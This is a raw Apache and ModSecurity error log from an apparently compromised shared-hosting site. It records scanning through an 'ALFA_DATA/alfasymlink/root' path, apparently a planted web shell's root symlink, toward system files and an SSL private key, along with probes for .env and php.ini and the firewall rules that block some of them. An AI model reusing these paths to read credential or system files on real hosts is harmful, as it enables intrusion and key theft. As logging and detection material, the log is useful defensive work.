"sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/draw_forum_path.inc"] [unique_id "at63cOzgGM-FQrr4E870hgAAAEA"]
[Sun Oct 25 22:14:08.724740 2026] [security2:error] [pid 2943096:tid 2943096] [client 85.208.96.206:35658] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/draw_forum_path.inc"] [unique_id "at63cOzgGM-FQrr4E870hgAAAEA"]
[Sun Oct 25 22:14:08.725151 2026] [security2:error] [pid 2943096:tid 2943096] [client 85.208.96.206:35658] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/draw_forum_path.inc"] [unique_id "at63cOzgGM-FQrr4E870hgAAAEA"]
[Sun Oct 25 22:14:10.303152 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 23.23.137.202:7059] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:14.253294 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 3.218.35.239:11576] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:18.231782 2026] [core:error] [pid 2943111:tid 2943111] (13)Permission denied: [client 52.0.218.219:48630] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/virtio-pci/0000:00:04.0/remove
[Sun Oct 25 22:14:34.304456 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 52.204.253.129:41113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:38.395518 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 100.28.204.82:1103] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:46.313562 2026] [ssl:error] [pid 2930612:tid 2930612] (5)Input/output error: [client 44.212.145.46:62894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:14:47.452452 2026] [core:error] [pid 2934778:tid 2934778] (13)Permission denied: [client 85.208.96.205:32308] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/hwcache_align
[Sun Oct 25 22:14:54.300422 2026] [core:error] [pid 2943094:tid 2943094] (13)Permission denied: [client 54.225.98.148:31114] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/resource0
[Sun Oct 25 22:14:58.445275 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 44.194.139.149:37042] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:15:02.269604 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 34.225.24.180:47350] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:15:06.227623 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 3.216.227.216:39704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:15:14.223926 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 54.84.102.81:2817] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:15:22.194539 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 34.194.165.45:4659] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:15:26.205954 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 44.212.131.50:4249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:15:38.222629 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 184.73.167.217:41449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:15:38.222833 2026] [security2:error] [pid 2943094:tid 2943094] [client 184.73.167.217:41449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/input/input0/subsystem/input4/device/bind_mode"] [unique_id "at63ysQePqP7jK0l4ep17AAAAD4"]
[Sun Oct 25 22:15:38.222876 2026] [security2:error] [pid 2943094:tid 2943094] [client 184.73.167.217:41449] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/input/input0/subsystem/input4/device/bind_mode"] [unique_id "at63ysQePqP7jK0l4ep17AAAAD4"]
[Sun Oct 25 22:15:45.364556 2026] [authz_core:error] [pid 2943071:tid 2943071] [client 47.79.206.7:40534] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Sun Oct 25 22:15:50.317647 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 3.229.164.203:60425] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:16:10.212015 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 54.163.169.168:20003] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:16:26.313401 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 54.163.169.168:30725] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/subsystem/mouse0/device/device/driver/unbind
[Sun Oct 25 22:16:45.778648 2026] [core:error] [pid 2942903:tid 2942903] (13)Permission denied: [client 85.208.96.193:14060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_transaction_s/total_objects
[Sun Oct 25 22:16:48.872382 2026] [authz_core:error] [pid 2943061:tid 2943061] [client 34.156.143.174:26804] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:16:59.926956 2026] [security2:error] [pid 2938877:tid 2938877] [client 107.172.76.131:50197] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64DsnQI7fvFKswuquAYwAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:16:59.927031 2026] [security2:error] [pid 2938877:tid 2938877] [client 107.172.76.131:50197] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64DsnQI7fvFKswuquAYwAAABY"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 22:17:22.229409 2026] [ssl:error] [pid 2943064:tid 2943064] (5)Input/output error: [client 54.85.7.119:60410] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:17:26.206373 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 52.54.249.218:16559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:17:34.221205 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 54.85.109.140:54889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:17:42.219211 2026] [ssl:error] [pid 2943087:tid 2943087] (5)Input/output error: [client 3.226.34.98:25766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:17:46.221093 2026] [core:error] [pid 2943071:tid 2943071] (13)Permission denied: [client 52.200.58.199:35085] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/972/auxv
[Sun Oct 25 22:17:54.230542 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 44.207.207.36:41835] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:17:58.230556 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 54.209.100.30:20892] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:02.299605 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 52.3.102.51:19163] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:05.598489 2026] [security2:error] [pid 2938926:tid 2938926] [client 107.172.76.131:50200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64UWDNiM07rt0CLXuS-QAAACE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 22:18:05.598541 2026] [security2:error] [pid 2938926:tid 2938926] [client 107.172.76.131:50200] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64UWDNiM07rt0CLXuS-QAAACE"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 22:18:10.237911 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 44.212.145.46:50976] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:14.530308 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:50193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64Wl7WMIdeUbvmuUTFhQAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 22:18:14.530380 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:50193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64Wl7WMIdeUbvmuUTFhQAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 22:18:18.297996 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.217.82.254:29732] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:22.444641 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 52.203.152.231:3134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:26.219866 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 52.71.216.196:36444] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:40.922082 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:50193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64dV7WMIdeUbvmuUTFhwAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 22:18:40.922141 2026] [security2:error] [pid 2923082:tid 2923082] [client 107.172.76.131:50193] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at64dV7WMIdeUbvmuUTFhwAAAAE"], referer: https://bases1.sherwinpinturas.com/beta.php
[Sun Oct 25 22:18:42.231405 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 44.205.120.22:11827] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:46.659439 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 54.225.181.161:1579] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:18:54.311709 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 44.205.180.155:22489] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:19:06.497642 2026] [authz_core:error] [pid 2943111:tid 2943111] [client 104.199.2.176:9496] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 22:19:18.246469 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 54.197.114.76:56815] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:19:26.297240 2026] [security2:error] [pid 2943061:tid 2943061] [client 34.199.252.22:23601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event3/device/subsystem/mouse0/subsystem/input0/"] [unique_id "at64rn8bERm6q3Qj3Bkp8QAAABc"]
[Sun Oct 25 22:19:26.297300 2026] [security2:error] [pid 2943061:tid 2943061] [client 34.199.252.22:23601] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event3/device/subsystem/mouse0/subsystem/input0/"] [unique_id "at64rn8bERm6q3Qj3Bkp8QAAABc"]
[Sun Oct 25 22:19:30.232221 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 34.205.163.103:15559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:19:34.216876 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 44.210.213.220:33128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:19:50.212987 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 184.73.195.18:59833] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:20:02.254547 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 52.3.26.180:16806] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:20:10.213104 2026] [security2:error] [pid 2943064:tid 2943064] [client 50.19.79.213:53409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/byt_gpio/"] [unique_id "at642sV7DsBvr9pAyLRQAwAAABo"]
[Sun Oct 25 22:20:10.213156 2026] [security2:error] [pid 2943064:tid 2943064] [client 50.19.79.213:53409] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/byt_gpio/"] [unique_id "at642sV7DsBvr9pAyLRQAwAAABo"]
[Sun Oct 25 22:20:14.316924 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 18.209.137.234:37297] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:20:26.259258 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 54.84.147.79:22337] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:20:26.927231 2026] [security2:error] [pid 2943087:tid 2943087] [client 129.159.56.14:56696] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at646gSn5HKIYfqg0eAjegAAADc"]
[Sun Oct 25 22:20:26.927545 2026] [security2:error] [pid 2943087:tid 2943087] [client 129.159.56.14:56696] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at646gSn5HKIYfqg0eAjegAAADc"]
[Sun Oct 25 22:20:26.927809 2026] [security2:error] [pid 2943087:tid 2943087] [client 129.159.56.14:56696] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at646gSn5HKIYfqg0eAjegAAADc"]
[Sun Oct 25 22:20:34.284712 2026] [security2:error] [pid 2943064:tid 2943064] [client 35.172.125.172:37501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/power/"] [unique_id "at648sV7DsBvr9pAyLRQBQAAABo"]
[Sun Oct 25 22:20:34.284753 2026] [security2:error] [pid 2943064:tid 2943064] [client 35.172.125.172:37501] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/ata2/host1/target1:0:0/1:0:0:0/power/"] [unique_id "at648sV7DsBvr9pAyLRQBQAAABo"]
[Sun Oct 25 22:20:50.359901 2026] [ssl:error] [pid 2943111:tid 2943111] (70014)End of file found: [client 18.208.11.93:31657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:20:58.350547 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 34.236.41.241:24392] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:02.232954 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 100.28.44.58:60793] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:06.504298 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 98.84.184.80:10250] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:10.413638 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 52.6.232.201:55041] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:14.353193 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 3.232.39.98:59005] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:1d/subsystem/drivers/hpet/uevent
[Sun Oct 25 22:21:18.221018 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 3.213.106.226:22841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:22.219669 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 54.197.82.195:12233] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:26.523489 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 34.238.45.183:61933] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:27.937073 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 85.208.96.206:10496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/free_calls
[Sun Oct 25 22:21:30.273634 2026] [ssl:error] [pid 2943061:tid 2943061] (5)Input/output error: [client 100.29.34.97:55277] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:38.452517 2026] [core:error] [pid 2943096:tid 2943096] (13)Permission denied: [client 35.170.205.140:64579] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/block/11:0/device/scsi_device/1:0:0:0/device/rescan
[Sun Oct 25 22:21:54.212463 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 54.87.62.248:29601] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:21:58.217423 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 54.221.203.24:51485] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:22:06.315554 2026] [core:error] [pid 2943462:tid 2943462] (13)Permission denied: [client 54.204.12.115:41615] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/vmd/new_id
[Sun Oct 25 22:22:14.238461 2026] [ssl:error] [pid 2943064:tid 2943064] (70014)End of file found: [client 52.207.47.227:61486] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:22:18.217578 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 107.22.208.39:21429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:22:22.877900 2026] [ssl:error] [pid 2942903:tid 2942903] (70014)End of file found: [client 54.91.122.193:26950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:22:34.275976 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 44.207.207.36:48666] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:22:42.354062 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 107.20.255.194:42324] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:23:06.353909 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 34.233.114.237:37034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/drivers/thermal/bind
[Sun Oct 25 22:23:10.207932 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 3.218.35.239:28083] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:23:14.294230 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 18.215.24.66:58029] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:23:18.431316 2026] [ssl:error] [pid 2943094:tid 2943094] (70014)End of file found: [client 107.22.208.39:27711] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:23:26.221635 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 50.16.216.166:29787] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/rescan
[Sun Oct 25 22:23:42.216453 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 34.195.60.66:25344] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:23:46.209619 2026] [ssl:error] [pid 2943096:tid 2943096] (70014)End of file found: [client 3.230.224.6:32906] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:23:54.398634 2026] [ssl:error] [pid 2943462:tid 2943462] (70014)End of file found: [client 52.7.13.143:50051] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:24:06.226842 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 18.208.11.93:43555] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:24:10.255179 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 18.204.89.56:8205] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:24:26.213408 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 23.21.228.180:10915] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:24:46.354971 2026] [core:error] [pid 2943064:tid 2943064] (13)Permission denied: [client 18.205.213.231:51193] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/virtual/tty/tty1/subsystem/tty3/subsystem/ttyS0/custom_divisor
[Sun Oct 25 22:24:50.285005 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 185.191.171.12:33678] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:24:50.302794 2026] [ssl:error] [pid 2938930:tid 2938930] (70014)End of file found: [client 3.217.171.106:18108] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:25:02.365028 2026] [core:error] [pid 2938930:tid 2938930] (13)Permission denied: [client 54.221.203.24:50918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/driver/remove_id
[Sun Oct 25 22:25:05.179709 2026] [security2:error] [pid 2934778:tid 2934778] [client 85.208.96.206:35650] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e834f_cab0d_f2771a1bbad151f1b95dda4eed4912f7.key"] [unique_id "at66AdYvsK9lv2bQxMABuwAAABA"]
[Sun Oct 25 22:25:05.180080 2026] [security2:error] [pid 2934778:tid 2934778] [client 85.208.96.206:35650] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e834f_cab0d_f2771a1bbad151f1b95dda4eed4912f7.key"] [unique_id "at66AdYvsK9lv2bQxMABuwAAABA"]
[Sun Oct 25 22:25:05.180470 2026] [security2:error] [pid 2934778:tid 2934778] [client 85.208.96.206:35650] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e834f_cab0d_f2771a1bbad151f1b95dda4eed4912f7.key"] [unique_id "at66AdYvsK9lv2bQxMABuwAAABA"]
